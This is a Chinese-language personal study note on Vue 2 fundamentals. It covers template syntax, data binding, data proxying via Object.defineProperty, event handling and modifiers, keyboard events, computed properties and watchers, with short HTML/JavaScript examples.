Vue全家桶

Vue全家桶

课程概述

前端框架—> Vue 2.0 —> Vue3.0

  • VUE基础
  • VUE-CLI
  • VUE-ROUTER
  • VUEX
  • ELEMENT-UI
  • VUE3.0

基础内容 ES6

全称ECMAScript6.0,是JavaScript(ECMAScript的一种实现)的下一个版本标准,2015.06发布,主要为了解决ES5先天的不足,比如JavaScript里没有类的概念,但是目前浏览器的JavaScript是ES5版本,大多数高版本浏览器也支持ES6,不过只实现了ES6的部分特性和功能。

ES新特性指的是JavaScript的新特性,包括ES6-ES11版本。

ECMA:European Computer Manufacturers Association,中文名称为欧洲计算机制造商协会,这个组织的目标是评估、开发、认可电信和计算机标准。

ECMAScript:由ECMA国际通过ECMA-262标准化的脚本程序设计语言。

  • 学习ES6的原因:
    • ES6的版本变动最多,具有里程碑的意义。
    • ES6加入许多新的语法特性,编程实现更加简单、高效。
    • ES6是前端发展的趋势,就业的必备技能。

浏览器兼容性表格:ECMAScript 6 compatibility table (kangax.github.io)

下面进入Vue2.0学习(135P)

第一章 VUE核心

1.1 Vue简介

一套用于构建用户界面的渐进式JavaScript框架

VUE可以自底向上逐层的应用

简单应用:只需要一个轻量小巧的核心库

复杂应用:可以引入各式各样的VUE插件

开发者:尤雨溪

  • VUE特点:

    • 采用组件化模式,提高代码的复用率,且让代码更好维护。
    • 声明式编码,让编码人员无需直接操作DOM,提高开发效率。
  • JS的基础知识:

    • ES6语法规范
    • ES6模块化
    • 包管理器
    • 原型、原型链
    • 数组常用方法
    • axios
    • promise

1.2 初识VUE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初识VUE</title>
<!--引入VUE-->
<script src="../js/vue.js"></script>
</head>
<body>
<!--准备一个容器-->
<div id="root">
<h1>Hello{{name}}</h1>
</div>

<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。

//创建Vue实例
new Vue({
el: '#root', // el用于指定当期VUE实例为哪个容器服务,值通常为css选择器字符串
// 或el:document.getElementById('root');
// data中用于存储数据,数据提供给el所指定的容器去使用,值我们暂时先写成一个对象
data: {
name: 'World'
}
});
</script>
</body>
</html>
  • 总结:
    • 想让vue工作,就必须创建一个vue实例,并且要传入一个配置对象
    • root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
    • root容器里的代码称为【Vue模板】
    • root容器的作用:
      • 为VUE提供模板
      • 告知VUE的工作成果展示位置

1.3分析Hello案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<!--准备一个容器-->
<div class="root">
<h1>Hello{{name.toUpperCase()}},{{address}},{{Date.now()}}</h1>
</div>

<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。

//创建Vue实例
new Vue({
el: '.root', // el用于指定当期VUE实例为哪个容器服务,值通常为css选择器字符串
// 或 el: document.getElementsByClassName('root')[0],
// data中用于存储数据,数据提供给el所指定的容器去使用,值我们暂时先写成一个对象
data: {
name: 'World',
address: 'UESTC'
}
});
</script>
</body>
  • 注意区分JS表达式和JS代码

    • 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方
      • a
      • a+b
      • demo(1)
    • 代码
      • if(){}
      • for(){}
      • JS表达式是一种特殊的JS代码(语句)
  • 总结:

    • 容器和VUE实例一一对应
    • 动态数据交付VUE实例托管
    • 真实开发中只有一个VUE实例,并且会配合组件一起使用
    • 中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
    • 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新

1.4 模板语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<body>
<!--准备一个容器-->
<div id="root">
<h1>插值语法</h1>
<h3>你好,Mike Taylor</h3>
<hr/>
<!--v-bind绑定:把""中的数据当做JS表达式执行 -->
<!-- 简写:v-bind简写成冒号 -->
<a v-bind:href="url">我的博客</a>
</div>

<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。

//创建Vue实例
new Vue({
el:'#root',
data:{
url:'https://miketaylorjuly123.cn'
}
});
</script>
</body>
  • VUE模板语法有两大类:
    • 插值语法
      • 功能:用于解析标签体内容
      • 写法:,xxx是JS表达式,且可以直接读取到data中的所有属性,不包括用户自定义属性
    • 指令语法
      • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件……)
      • 举例:v-bind:herf=”xxx” 或 简写为 :href=”xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性
      • 备注:VUE中有很多指令,且形式都是:v-???,此处只是拿v-bind举例

1.5 数据绑定

错误示范:v-model只能应用于表单类元素上(输入类,要有value属性)

1
<h1 v-model="name">miketaylorjuly</h1>
  • 总结
    • 单向绑定(v-bind):数据只能从data流向页面
    • 双向绑定(v-model):数据不仅能data流向页面,还可以从页面流向data
    • 备注:
      • 双向绑定一般都应用于表单类元素上(如:input、select)
      • v-model:value = “xxx” 可以**简写为v-model=”xxxx”**因为v-model默认收集value值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<body>
<!--准备一个容器-->
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name">
双向数据绑定:<input type="text" v-model="name">
</div>

</body>
<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示
new Vue({
el:'#root',
data:{
name:'Mike Taylor'
}
})
</script>

1.6 el与data的两种写法

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<!--准备一个容器-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>

</body>
<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
// el:'#root',
data:{
name: 'Mike Taylor'
}
})
console.log(v);
setTimeout(()=>{
vm.$mount('#root'); // 挂载
},1000)
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
   <body>
<!--准备一个容器-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。
const v = new Vue({
// data:function(){
data(){
console.log('@@@',this); // 此处的this是Vue实例对象
return {
name: 'Mike Taylor'
}
}
})
setTimeout(()=>{
v.$mount('#root'); // 挂载
},1000)
</script>
  • 组件复用data必须为函数

  • data与el的两种写法

    • el的两种写法
      • new Vue的时候配置el属性
      • 先创建Vue实例。随后再通过vm.$mount(‘#root’)指定el的值
    • data的两种写法
      • 对象式
      • 函数式
      • 选择:目前都可以使用,但是学习了组件后,data必须使用函数式,否则会报错
    • 重要原则
      • 由VUE管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是VUE实例了(而是Windows实例)

1.7 理解MVVM模型

  • M:模型(Model) :对应 data 中的数据
  • V:视图(View) :模板代码
  • VM:视图模型(ViewModel) : Vue 实例对象

此在文档中经常会使用 vm (ViewModel 的缩写) 这个变量名表示 Vue 实例。

image-20210727193618664
  • 观察发现:
    • data中所有属性,最后都出现在了vm身上
    • vm身上所有属性及VUE原型上所有属性,在VUE模板中都可以直接使用

1.8 回顾Object.defineProperty方法

回顾Object.defineProperty方法

作用:给对象添加/定义属性

添加值

1
2
3
4
5
6
7
8
9
10
11
12
<body>
<script type="text/javascript">
let person = {
name:'Mike Taylor',
gender:'Man',
}
Object.defineProperty(person,'age',{
value: 20
})
console.log(person);
</script>
</body>
image-20210727195314342

age不可以被枚举(不参与遍历)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<body>
<script type="text/javascript">
let person = {
name:'Mike Taylor',
gender:'Man',
// age: 20
}
Object.defineProperty(person,'age',{
value: 20
})
console.log(Object.keys(person)); // 传入对象作为参数,可以把传入对象中所有属性的属性名提取出来,变成一个数组
for (let index in person){
console.log('@@'+person[index])
}
console.log(person);
</script>

要实现枚举:

1
2
3
4
Object.defineProperty(person,'age',{
value: 20,
enumerable:true, //控制属性值是否可以枚举,默认为false
})

无法改变值

image-20210727200203049

实现可改变:

1
2
3
4
5
Object.defineProperty(person,'age',{
value: 20,
enumerable:true,
writtable:true, // 控制属性是否可以被修改,默认为false
})

不可删除其中的值

image-20210727200849782

实现可删除:

1
2
3
4
5
6
Object.defineProperty(person,'age',{
value: 20,
enumerable:true,
writtable:true,
configurable: true, // 控制属性是否可以被删除,默认为false
})
image-20210727200923385

实现age随变量的变化而动态变化

image-20210727202150198
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<body>
<script type="text/javascript">
let number = 20;
let person = {
name:'Mike Taylor',
gender:'Man',
}
Object.defineProperty(person,'age',{
// 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值
get:function(){
console.log("有人读取age属性了!");
return number;
}
})
console.log(person);
</script>
</body>
s image-20210727203205835
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<script type="text/javascript">
let number = 20;
let person = {
name:'Mike Taylor',
gender:'Man',
}
Object.defineProperty(person,'age',{
// 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值
get(){
console.log("有人读取age属性了!");
return number;
},
// 当有人修改person的age属性值时,set函数(setter)就会被调用,且会收到具体返回值
set(value){
console.log("有人修改age属性,且值是:",value);
}
})
console.log(person);
</script>
</body>

表面上更改了age属性,实际上并没有改掉,因为number没有变化

改正:

1
2
3
4
set(value){
console.log("有人修改age属性,且值是:",value);
number = value
}
image-20210727203438179

总结:age属性值现用现取

1.9 理解数据代理

image-20210727204159414
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<body>
<!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写) -->
<script>
let obj = {x:100};
let obj2 = {y:200};

Object.defineProperty(obj2,'x',{
get: function(){
return obj.x;
},
set: function(value){
obj.x = value;
}
});
</script>
</body>

1.10 Vue中的数据代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<body>
<!--准备一个容器-->
<div id="root">
<h2>个人姓名:{{name}}</h2>
<h2>住址:{{address}}</h2>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
name: '张加林',
address: '成华区建设路'
}
})
</script>
5

当对vm进行访问的时候,getter开始工作,把别的地方(data)的name拿过来使用;当有人通过vm修改name,setter开始工作。读写都是使用的data中的属性。

img

需要验证

image-20210825195800999

1.验证getter:

image-20210825200211017

2.验证setter:

image-20210826145640373

image-20210826145856090

vm将data数据存储在自己内部,称为_data,通过_data可以访问name和address(不便于编码,所以用后者);由于使用了数据代理,也可以直接访问name和address。

image-20210826151319527

注意_data和代码data并不相同,这里涉及到了数据劫持,后续会学习。(数据劫持的目的是为了实现一个功能:感知data中的数据被修改,并将修改结果更新展示在页面里,即响应式

1
2
3
4
5
6
7
8
9
let data = {
name: '张加林',
address: '成华区建设路'
};

const vm = new Vue({
el: '#root',
data
})

image-20210826151716719

image-20210826151747690

image-20210826152355914

原因:一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

数据代理图示

image-20210826152738060

总结

  • Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
  • Vue中数据代理的好处:更加方便地操作data中的数据
  • 基本原理:
    • 通过Object.defineProperty()把data对象中的所有属性添加到vm上。
    • 为每一个添加vm上的属性,都指定一个getter和setter。
    • 在getter/setter内部去操作(读/写)data中对应的属性。

1.11 事件处理

image-20210826160001338
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<body>
<!--准备一个容器-->
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<button v-on:click="showInfo">点击跳转</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。

const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: { //配置事件的回调
showInfo() {
// 对象中配置方法:直接使用方法名即可。
alert('Mike Taylor')
}
}
})
</script>
image-20210826160101734 image-20210826160114098

点击按钮,调用showInfo函数,所以a为返回的事件对象,下面是event的target。

image-20210826160439248 image-20210826160422705

showInfo中的this的含义:此处this就是vm

image-20210826160540680 image-20210826160841914 image-20210826161630609

易错易混:箭头函数this指向Windows

image-20210826162100284 image-20210826162213254

因此,我们遵循原则:接受Vue管理的函数,最好都写成普通函数。

事件绑定的简写形式:

1
<button @click="showInfo">点击跳转</button>

功能需求:事件触发后,传参。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<button v-on:click="showInfo1">点击跳转!</button>
<button @click="showInfo2(12)">点击跳转!!</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。

const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: { //配置事件的回调
showInfo1(event) {
console.log(event),
alert('Mike Taylor1')
},
showInfo2(number) {
console.log(number);
alert('Mike Taylor2')
}
}
})
</script>

image-20210826164519087

需要解决的BUG:这样写代码会丢失event,再也不能使用event了。

image-20210826165107430

解决方法:

1
<button @click="showInfo2(12,$event)">点击跳转!!</button>
image-20210826165312250 image-20210826165235603

methods中的方法与Vue实例:

image-20210826165550319

回调方法写在methods中,不要写在data中,因为会自动进行数据代理,添加无意义的getter和setter。(函数只是调用的,不需要更改)

image-20210826170322570 image-20210826170434590

总结

事件的基本使用:

  • 使用v-on:xxx 或 @click绑定事件,其中xxx为事件名称
  • 事件的回调需要配置在methods对象中,最终会在vm上
  • methods中配置的函数,不要使用箭头函数!!!否则this指向的就不再是vm了
  • methods中配置的函数,都是被Vue所管理的函数,,this指向的是vm或者组件实例对象
  • @click = “demo” 和 @click = “demo($event)” 效果一致,但是后者可以传参

1.12 事件修饰符

阻止a标签的跳转行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<a href="https://miketaylorjuly123.cn" @click="showInfo">点击跳转</a>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。

const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: {
showInfo(event){
event.preventDefault(); //阻止弹窗
alert('Mike Taylor个人站点')
}
}
})

vue中的阻止方法:

image-20210826172243495

prevent即事件修饰符,阻止默认行为。

6个事件修饰符

修饰符名称 功能
prevent 阻止默认事件(常用)
stop 阻止事件冒泡(常用)
once 事件只触发一次(常用)
capture 使用事件的捕获模式
selt 只有event.target是当前操作的元素才是触发事件
passive 事件的默认行为立即执行,无需等待事件回调执行完毕
prevent:略
stop

事件冒泡

6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<style>
.demo1{
margin-top:20px;
height: 40px;
background-color: #8080ff;
}
</style>
<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click="showInfo">点击获取提示信息</button>
</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: {
showInfo(event){
alert('Mike Taylor个人站点')
}
}
})
</script>

阻止事件冒泡

JS

image-20210826173944955

Vue

1
2
3
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点击获取提示信</button>
</div>
once

效果

7
1
<button @click.once="showInfo">点击提示</button>
capture
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: {
showMsg(number) {
console.log(number);
}
}
})
</script>

点击div2区域后触发的效果:

image-20210826175500478

点击div2先经过事件捕获过程,随后才是事件冒泡,默认情况下,冒泡阶段处理事件。

捕获阶段,由外往内;冒泡阶段,由内往外。

对外部盒子使用capture:

image-20210826180237994

image-20210826180050647
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
    .capture 冒泡顺序
例如 div1中嵌套div2中嵌套div3

<div id="app" v-on:click="show">
1
<div id="app2" v-on:click.capture="show2">
2
<div id="app3" v-on:click="show3">
3

</div>
</div>
</div>

<script type="text/javascript">
var vm=new Vue({
el:"#app",
data:{

},
methods:{
show:function(){
console.log("这是app的方法")
},
show2:function(){
console.log("这是app2的方法")
},
show3:function(){
console.log("这是app3的方法")
}
}
})
</script>
此处的代码因为div2有capture关键字,所以此时冒泡的顺序发生了改变
正常情况下:
点击div3一层一层冒泡,先div3=》div2=》div1

使用了关键字:
点击div3时,先div2=》div3=》div1
1.先冒泡外层带有关键字的事件
2.外层执行结束之后,往里层执行事件
3.最后按照从里向外的事件开始执行
就是说只要存在一个capture关键字,就会影响整个嵌套的执行
例子
div1中嵌套div2中嵌套div3.capture中嵌套div4
此时点击div1
先执行带有capture的div3
然后执行div4
最后按照从里向外的顺序执行
顺序就是 div3=》div4=》div2=》div1

其他疑惑
此时嵌套为
div1中嵌套div2.capture中嵌套div3中嵌套div4
那么可以想一下点击最里层的div4会怎么触发呢

1.触发带有关键字的 div2
2.触发点击的div4
3.最后从里向外执行
那么顺序为 div2=》div4=》div3=》div1
self
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<style>
.demo1{
margin-top:20px;
height: 40px;
background-color: #8080ff;
}
</style>
<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click="showInfo">点击获取提示信息</button>
</div>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: {
showInfo(event){
console.log(event.target);
}
}
})
</script>

点击后的效果:

image-20210826185225918

添加stop事件修饰符:

1
2
3
<div class="demo1" @click.stop="showInfo">
<button @click="showInfo">点击获取提示信息</button>
</div>
8
passive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<style>
.list {
width: 200px;
height: 200px;
background-color: #8080ff;
overflow: auto;
}

li {
height: 100px;
}
</style>
</head>

<body>
<div id="root">
<h2>{{name}}的个人站点:miketaylorjuly123.cn</h2>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul class="list" @scroll="demo">
<!--滚动条滚动-->
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<ul class="list" @wheel="demo">
<!-- 滚轮滚动 -->
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
name: '张加林'
},
methods: {
demo() {
console.log('@@@');
}
}
})
</script>

@scroll(滚轮、侧拉条、上下键触发)

9

@wheel(只有滚轮有效,上下键、侧拉条失效)

10 image-20210826193534166

@wheel会延迟滚动,这时候可以使用passive修饰符修饰;而@scroll不需要,因为会立即执行默认行为。passive在移动端使用较多

1.13 键盘事件

案例:在输入框中输入内容后,按下Enter后,在控制台显示。

11
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<body>
<!--准备一个容器-->
<div id="root">
<h2>我的个人小站:{{site}}</h2>
<input type="text" placeholder="按下回车提示输入" @keyup="showInfo">
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。

new Vue({
el: '#root',
data: {
site: 'miketaylorjuly123.cn'
},
methods:{
showInfo(event){
console.log(event.target.value);

}
}
})
</script>

问题:没有按Enter,控制台输出input框内容。

代码改进

image-20210828203017835 12

vue中的处理方式:

1
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">

Vue常用按键别名

按键名 别名
回车 enter
删除 delete(捕获“删除”和“退格”键)
退出 esc
空格 space
换行 tab(特殊,需要配合keydown来使用)
up
down
left
right

为了方便,原来的首字母大写改成了全部小写,但是首字母大写也能实现功能。

1
<input type="text" placeholder="按下回车提示输入" @keyup.Enter="showInfo">

Vue中没有别名的按键处理

image-20210828205602956 14

注意:Vue中未提供别名的按键,可以使用按键原始的key值去绑定,但要注意转换为keabab-case(短横线命名)。

对于CapsLock键:

错误(没有效果)

1
<input type="text" placeholder="按下回车提示输入" @keyup.CapsLock="showInfo">

正确

1
<input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo">

注意:不是所有键位都可以绑定事件。

特殊系统修饰键

ctrl、alt、shift、meta(Win键-Windows / Command键-Mac)

  • 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发(也可以正常工作,只是一般不用)
  • 配合keydown使用:正常事件触发

例如:tab键,本身功能是把焦点从当前元素上切走。而且是跟keyup事件绑定,按下tab键之后,就失去了焦点,事件无法触发,所以需要使用keydown实现

13
1
<input type="text" placeholder="按下回车提示输入" @keydown.tab="showInfo">

效果:先触发控制台输出,再触发焦点切换功能。

15

使用KeyCode指定具体的按键(不推荐)

例如Enter,键码为13。

1
<input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo">

KeyboardEvent.keyCode标准已经从Web标准移除,未来浏览器也许会停止支持,所以尽量不要使用该特性。(因为不同键盘编码可能不统一)

定制按键别名

Vue.config.keyCodes.自定义键名 = 键码 ,可以去定制按键别名。

例:

1
Vue.config.keyCodes.ter = 13 //定义了一个别名按键
1
<input type="text" placeholder="按下回车提示输入" @keyup.ter="showInfo"> //EEnter/abcDe不行

注意:别名不能带大写字母!!!

1.14 事件总结

1
2
3
<div id="demo1" @click="showInfo">
<a href="https://miketaylorjuly123.cn" @click.stop="showInfo">点我跳转</a>
</div>

要求:既需要阻止冒泡,又需要阻止跳转。

方法一:

1
2
3
<div id="demo1" @click="showInfo">
<a href="https://miketaylorjuly123.cn" @click.stop.prevent="showInfo">点我跳转</a>
</div>

方法二:

1
2
3
<div id="demo1" @click="showInfo">
<a href="https://miketaylorjuly123.cn" @click.prevent.stop="showInfo">点我跳转</a>
</div>

修饰符可以连续书写

案例:按下Ctrl + Y的时候控制台输出

1
<input type="text" placeholder="按下回车提示输入" @keydown.ctrl.y="showInfo">

1.15 计算属性 computed

效果图

16

使用插值语法实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<!--准备一个容器-->
<div id="root">
姓: <input type="text" v-model="firstName"><br/><br/>
<!--注意:页面上的输入要影响数据本身的变化,应该使用v-model-->
名: <input type="text" v-model="lastName"><br/><br/>
姓名: <span>{{firstName}}-{{lastName}}</span>
</div>

</body>
<script>
Vue.config.productionTip = false ;// 阻止VUE启动时生成生产提示。

const vm = new Vue({
el: '#root',
data:{
firstName: '张',
lastName: '三'
},
})
</script>

实现截取部分输入,丢弃过长输入。

1
2
姓名: <span>{{firstName.slice(0,3)}}-{{lastName}}</span>
<!--截取前三位-->
风格指南

随着要求越多,{{}}`中的代码会越来越长,虽然不报错,但是这样违背了VUE的风格指南。 image-20210831210812661 #### 使用methods语法实现 ##### 易错易混点 methods 注意:fullName中的this是当前vue的实例对象

1
2
3
4
5
methods:{
fullName(){
return this.firstName + '-' + this.lastName;
}
}
html一:
1
2
姓名: <span>{{fullName()}}</span>
<!--将fullName的返回值插入到此处-->
image-20210831212531002 html二:
1
姓名: <span>{{fullName}</span>
image-20210831212546602 **注意**:括号可加可不加的是在绑定事件的时候。 细节问题:**data中任何一个数据发生变化时,vue的模板都会重新解析一遍,以便知道模板中用到该数据的具体位置,然后更新数据**。但是如果模板中没有用到该变化数据,vue模板就不会重新读取该数据;如果用到,就需要重新读取。模板中如果调用方法,此处使用插值语法调用方法,方法会重新调用一次。(因为无法确定返回值与之前是否相同,所以就再调用一次,**重新解析模板时只要遇到插值语法中写方法,这个方法一定重新调用**) 演示解析:
1
2
3
4
fullName(){
console.log('@@@');
return this.firstName + '-' + this.lastName;
}
17 一进入页面就会自动调用fullName,而且每次更改firstName和lastName都会引起fullName的调用。 #### 使用计算属性实现 image-20210901102718477 vue认为data中都是属性。 计算属性:使用data中的已有属性(不能是随便的一个变量,必须是由vue管理),加工计算后,得到的一个全新的属性(firstName+lastName==>fullName),而且要求把计算的整个过程配置成对象,对象中需要写get。
1
2
3
4
5
6
fullName:{
get(){
console.log('get被调用!');
return this.firstName + '-' + this.lastName;
}
}
查看vm实例: image-20210901104348928 注意:_data身上没有fullName属性,fullName是vue利用\_data上的firstName和lastName计算得到fullName后,直接放到vm实例上的。 image-20210901104502830 读取计算属性:插值语法。 由于firstName和lastName配置在computed的fullName中的get下,所以不能直接访问,此处get中的this是vm实例。 ##### get
1
2
3
4
姓名: <span>{{fullName}}</span>
姓名: <span>{{fullName}}</span>
姓名: <span>{{fullName}}</span>
姓名: <span>{{fullName}}</span>
* 问题:使用计算属性,此处get被调用几次? * 1次。vue缓存机制。(computed调用一次,methods调用多次) * get调用时机: * 初次读取计算属性值时 * 所依赖的数据发生变化时 * fullName依赖firstName和lastName,firstName或lastName发生变化,调用get * get有什么作用? * 当有人读取fullName时,get就会被调用,且返回值作为fullName的值 * 底层实现使用的就是defineProperty 18 * 相比于methods的优势: * 内部使用缓存机制,不需要反复读取数据,效率更高,调试方便。 ##### set 当计算属性会被直接更改时,需要使用set。 * set调用时机: * 当计算属性被修改时
1
2
3
set(value){
console.log('set被调用了',value);
}
image-20210901111158283 set的使用效果: image-20210901112120758 19 连锁反应: image-20210901112403623 * 注意: * get和set不能写成箭头函数 * 计算属性最终会出现在vm上,直接读取使用即可 * 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据的变化 ##### 计算属性简写 简写前: image-20210901113528485 简写要求:只有考虑读取get,不考虑修改set的时候才能使用简写。 简写后:
1
2
3
4
5
6
7
computed: {
// fullName:function(){
fullName(){
console.log('get被调用!');
return this.firstName + '-' + this.lastName;
}
}
注意:简写后,千万不要把fullName当做函数,读取时使用`fullName()`读取 ### 1.16 监视属性watch 效果图: 20 #### 计算属性实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<body>
<!--准备一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
isHot: true
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot;
}
}
})
</script>
Vue devTools的BUG:
1
2
3
4
<div id="root">
<h2>今天天气很一般</h2>
<button @click="changeWeather">切换天气</button>
</div>
页面中没有使用到data和computed中的数据,开发者工具监测不到数据的变化,需要手动刷新开发者工具才行。 21 简写:
1
2
3
4
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="isHot = !isHot">切换天气</button>
</div>
注:绑定事件的时候:@xxx = 'yyyyyy',yyyyyy可以写一些简单的语句 错误的简写:
1
2
<!--点击后弹窗-->
<button @click="alert(1)">切换天气</button>
改进:
1
<button @click="window.alert(1)">切换天气</button>
1
2
3
4
data: {
isHot: true,
window //window:window
}
#### 监视属性实现 ##### 监视方法一
1
2
3
4
5
6
7
8
watch:{
isHot:{
immediate:true, //作用:初始化时让handler调用一下。
handler(newValue,oldValue){
console.log('isHot改变了',newValue,oldValue);
}
}
}
* handler什么时候调用? * 当属性发生变化时。 * watch监视属性,既可以监视属性,也可以监视计算属性 ##### 监视方法二
1
2
3
4
5
vm.$watch('isHot',{
immediate:true, //作用:初始化时让handler调用一下。
handler(newValue,oldValue){
console.log('isHot改变了',newValue,oldValue);
})
* 注意:这里的属性名要加`''`,因为原来的写法就是要`''`只是在vue中省略了`''` ##### 总结 * 当被监视的属性发生变化的时候,回调函数自动调用,进行相关操作 * 监视属性必须存在,才能进行监视。(但是属性或计算属性不存在也不会报错) * image-20210901150356295 image-20210901150332224 * 监视的两种写法: * `new Vue`时传入`watch`配置 * 通过`vm.$watch`监视 #### 深度监视 ##### 监视多级结构中某个属性的变化 22 代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<body>
<h3>a的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a++</button>
</div>
</body>
<script>
Vue.config.productionTip = false;// 阻止VUE启动时生成生产提示。
new Vue({
el: '#root',
data: {
numbers:{
a:1,
b:1
}
},
watch:{
'numbers.a':{
handler(newValue,oldValue){
console.log('a改变了',newValue,oldValue);
}
}
}
})
</script>
注意:监视多级结构中某个属性值的变化一定要加`''` ##### 监视多级结构中所有属性的变化 ###### 易错易混 要求:监视整个numbers,当numbers内部任意一个数据发生改变时,都能感知到变化。
1
2
3
4
5
6
7
watch:{
numbers:{
handler(newValue,oldValue){
console.log('number改变了',newValue,oldValue);
}
}
}
image-20210901152437129 ###### 正确方法
1
2
3
4
5
6
7
8
watch:{
numbers:{
deep: true,//开启深度监视
handler(newValue,oldValue){
console.log('number改变了',newValue,oldValue);
}
}
}
